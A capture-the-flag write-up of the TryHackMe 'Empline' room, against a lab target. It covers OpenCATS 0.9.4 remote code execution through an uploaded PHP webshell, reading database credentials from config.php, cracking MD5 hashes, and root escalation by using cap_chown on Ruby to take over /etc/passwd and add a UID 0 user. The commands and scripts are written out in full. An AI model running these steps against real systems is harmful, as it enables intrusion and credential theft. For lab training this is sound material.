Empline is a medium-difficulty TryHackMe room centered around exploiting a vulnerable job recruitment platform. The attack chain involves discovering a hidden subdomain running OpenCATS (an open-source applicant tracking system), exploiting a known RCE vulnerability to gain initial access, extracting database credentials from configuration files, cracking MD5 hashes to pivot to a user account, and abusing Linux capabilities (cap_chown on Ruby) for root privilege escalation.
Key Techniques:
cap_chown) for privilege escalationnmap -sC -sV -A <TARGET_IP>
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Key Observations:
Note: Having MySQL exposed to the network is a significant misconfiguration. In production environments, databases should only listen on localhost or be restricted by firewall rules. This tells us the target might have other misconfigurations too.
Navigating to the web server on port 80, I found what appeared to be a basic company website for "Empline":

During enumeration, I discovered an additional subdomain: job.empline.thm. This is a common pattern in CTFs and real-world engagements — organizations often run internal applications on subdomains.
I added both the main domain and subdomain to my hosts file:
echo "<TARGET_IP> empline.thm job.empline.thm" | sudo tee -a /etc/hosts
Navigating to http://job.empline.thm revealed an OpenCATS installation — an open-source Applicant Tracking System (ATS) used for managing job applications and recruitment processes.

What is OpenCATS? OpenCATS is a free, open-source applicant tracking system. It's PHP-based and uses MySQL as its backend database. Version 0.9.4 has several known vulnerabilities, including Remote Code Execution (RCE) and XML External Entity (XXE) injection.
With the target identified as OpenCATS, I searched for known vulnerabilities:
searchsploit opencat
Results:
Exploit Title | Path
---------------------------------------------------------------- | ----
Opencatalogue 1.024 - Local File Inclusion | php/webapps/12475.txt
OpenCATS 0.9.4 - Remote Code Execution (RCE) | php/webapps/50585.sh
OpenCats 0.9.4-2 - 'docx' XML External Entity Injection (XXE) | php/webapps/50316.py
Multiple exploits were available for OpenCATS 0.9.4:
I decided to use RevCAT, a purpose-built RCE tool for OpenCATS that automates the exploitation process. The Searchsploit RCE script would work equally well.
I used RevCAT to exploit the OpenCATS RCE vulnerability:
./RevCAT.sh http://job.empline.thm/
_._ _,-'"""`-._
(,-.`._,'( |\`-/| RevCAT - OpenCAT RCE
`-.-' \ )-`( , o o) Nicholas Ferreira
`- \`_`"'- https://github.com/Nickguitar
[*] Attacking target http://job.empline.thm/
[*] Checking CATS version...
[*] Version detected: 0.9.4
[*] Creating temp file with payload...
[*] Checking active jobs...
[+] Jobs found! Using job id 1
[*] Sending payload...
[+] Payload EAe0V.php uploaded!
[*] Deleting created temp file...
[*] Checking shell...
[+] Got shell! :D
uid=33(www-data) gid=33(www-data) groups=33(www-data)
How this exploit works: The OpenCATS 0.9.4 RCE vulnerability abuses the file upload functionality in the job application feature. The exploit uploads a PHP webshell disguised as a resume attachment, then accesses it directly through the web server to gain command execution as the
www-datauser.
Shell obtained as www-data!
With initial access, I enumerated the system to identify user accounts:
cat /etc/passwd | grep -E '/bin/(bash|sh)'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
george:x:1002:1002::/home/george:/bin/bash
Two regular users found: ubuntu and george.
ls -la /home
drwxrwx--- 2 george george 4096 Jul 20 2021 george
drwxr-xr-x 3 ubuntu ubuntu 4096 Jul 20 2021 ubuntu
George's home directory is restricted to his user/group only, so we can't access it directly.
Since MySQL (port 3306) was exposed, I looked for database connection credentials. In PHP applications, these are typically stored in configuration files:
cat /var/www/opencats/config.php
/* Database configuration. */
define('DATABASE_USER', 'james');
define('DATABASE_PASS', 'ng6pUFvsGNtw');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');
Why check config.php? Web applications need database credentials to function. These are almost always stored in a configuration file in plaintext. After gaining a web shell, checking for database config files is one of the first steps — it often reveals credentials that are reused across the system.
Database credentials found: james:ng6pUFvsGNtw
Using the credentials from config.php, I connected to the MySQL database. Since port 3306 was exposed externally, I could connect directly from my attacker machine:
mysql -h <TARGET_IP> -u james -p --skip-ssl
I enumerated the OpenCATS database for user accounts:
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| opencats |
+--------------------+
use opencats;
select user_id, user_name, password, first_name, last_name from user;
+---------+----------------+----------------------------------+------------+-----------+
| user_id | user_name | password | first_name | last_name |
+---------+----------------+----------------------------------+------------+-----------+
| 1 | admin | b67b5ecc5d8902ba59c65596e4c053ec | CATS | Admin |
| 1250 | cats@rootadmin | cantlogin | CATS | Automated |
| 1251 | george | 86d0dfda99dbebc424eb4407947356ac | George | Tasa |
| 1252 | james | e53fbdb31890ff3bc129db0e27c473c9 | James | Gynja |
+---------+----------------+----------------------------------+------------+-----------+
George's account has an MD5 hash: 86d0dfda99dbebc424eb4407947356ac
Identifying the hash type: The 32-character hex string is a telltale sign of an MD5 hash. MD5 is notoriously weak and should never be used for password storage. Many applications from this era used unsalted MD5, making them trivially crackable with rainbow tables or dictionary attacks.
I cracked George's MD5 hash using an online service (CrackStation or hashcat would also work):
86d0dfda99dbebc424eb4407947356ac : pretonnevippasempre
Cracking Methodology: For MD5 hashes, you have several options:
- Online services: CrackStation, Hashes.com — instant results for common passwords
- Hashcat:
hashcat -m 0 hash.txt wordlist.txt— for offline cracking with GPU acceleration- John the Ripper:
john --format=raw-md5 hash.txt— classic tool for hash crackingSince MD5 is unsalted, rainbow table lookups are nearly instantaneous for known passwords.
With the cracked password, I logged into the target via SSH:
ssh george@<TARGET_IP>
george@empline:~$ whoami
george
Access gained as user george!
george@empline:~$ cat user.txt
THM{REDACTED}
I enumerated the system for privilege escalation vectors and checked for Linux capabilities:
getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/local/bin/ruby = cap_chown+ep
Ruby has cap_chown+ep — this is our escalation path!
What are Linux Capabilities? Linux capabilities break down the traditional root/non-root privilege model into smaller, granular permissions. Instead of needing full root access, a binary can be given specific capabilities to perform privileged operations.
cap_chowngrants the ability to change file ownership (equivalent to runningchownas root). When assigned to an interpreter like Ruby, this means we can write a script that changes the owner of any file on the system.The
+epflags mean the capability is both effective (active) and permitted (allowed), so it applies immediately when Ruby runs.
With cap_chown on Ruby, the attack strategy is:
/etc/passwd to our user (george)/etc/passwd to add a new user with root privileges (UID 0)Step 1: Change ownership of /etc/passwd
I created a Ruby script to abuse the cap_chown capability:
# priv.rb - Change /etc/passwd ownership to george (uid:1002, gid:1002)
file = File.new("/etc/passwd", "r")
file.chown(1002, 1002)
george@empline:~$ ruby priv.rb
george@empline:~$ ls -la /etc/passwd
-rw-r--r-- 1 george george 1660 Jul 20 2021 /etc/passwd
/etc/passwd is now owned by george!
Step 2: Add a new root user
With write access to /etc/passwd, I generated a password hash and added a new user with UID 0:
mkpasswd -m sha-512
Password:
$6$PA2083VODREyFQF5$ivs2UllFramq38YHVtI7giADPCm/eFP8yldh4fNnrH.7LMVF6YDLvbU6sikIXYOnxV2YpwIBK4H.YikaQZ2AZ.
# Edit /etc/passwd and add a new root user
nano /etc/passwd
# Added line: toor:$6$PA2083VODREyFQF5$ivs2UllFramq38YHVtI7giADPCm/eFP8yldh4fNnrH.7LMVF6YDLvbU6sikIXYOnxV2YpwIBK4H.YikaQZ2AZ.:0:0:root:/root:/bin/bash
Why modify
/etc/passwd? On Linux systems,/etc/passwddefines user accounts. Any entry with UID 0 has root privileges. By adding a new user withUID:0andGID:0, we effectively create another root account. This is a classic privilege escalation technique when you gain write access to this file.
Step 3: Switch to the new root user
george@empline:~$ su toor
Password: toor
toor@empline:/home/george# whoami
root
Root access obtained!
toor@empline:/home/george# cat /root/root.txt
THM{REDACTED}
Subdomain Enumeration is Critical: The main website had nothing exploitable. The real attack surface was hidden on job.empline.thm. Always enumerate subdomains and virtual hosts.
Check Configuration Files Post-Exploitation: Web application config files (config.php, .env, settings.py) almost always contain database credentials in plaintext. These credentials are frequently reused across the system.
Exposed Database Ports are Dangerous: MySQL on port 3306 being externally accessible allowed direct connection from the attacker machine, making credential extraction trivial. In production, databases should be firewalled.
MD5 is Broken for Passwords: Unsalted MD5 hashes can be cracked in seconds. OpenCATS using raw MD5 for password storage is a critical vulnerability in itself.
Linux Capabilities are a Privilege Escalation Goldmine: cap_chown on an interpreter like Ruby is effectively equivalent to root access. Always check for capabilities with getcap -r / 2>/dev/null during enumeration.
The /etc/passwd Technique: When you can change file ownership or write to /etc/passwd, adding a UID 0 user is one of the cleanest paths to root.
Happy Hacking!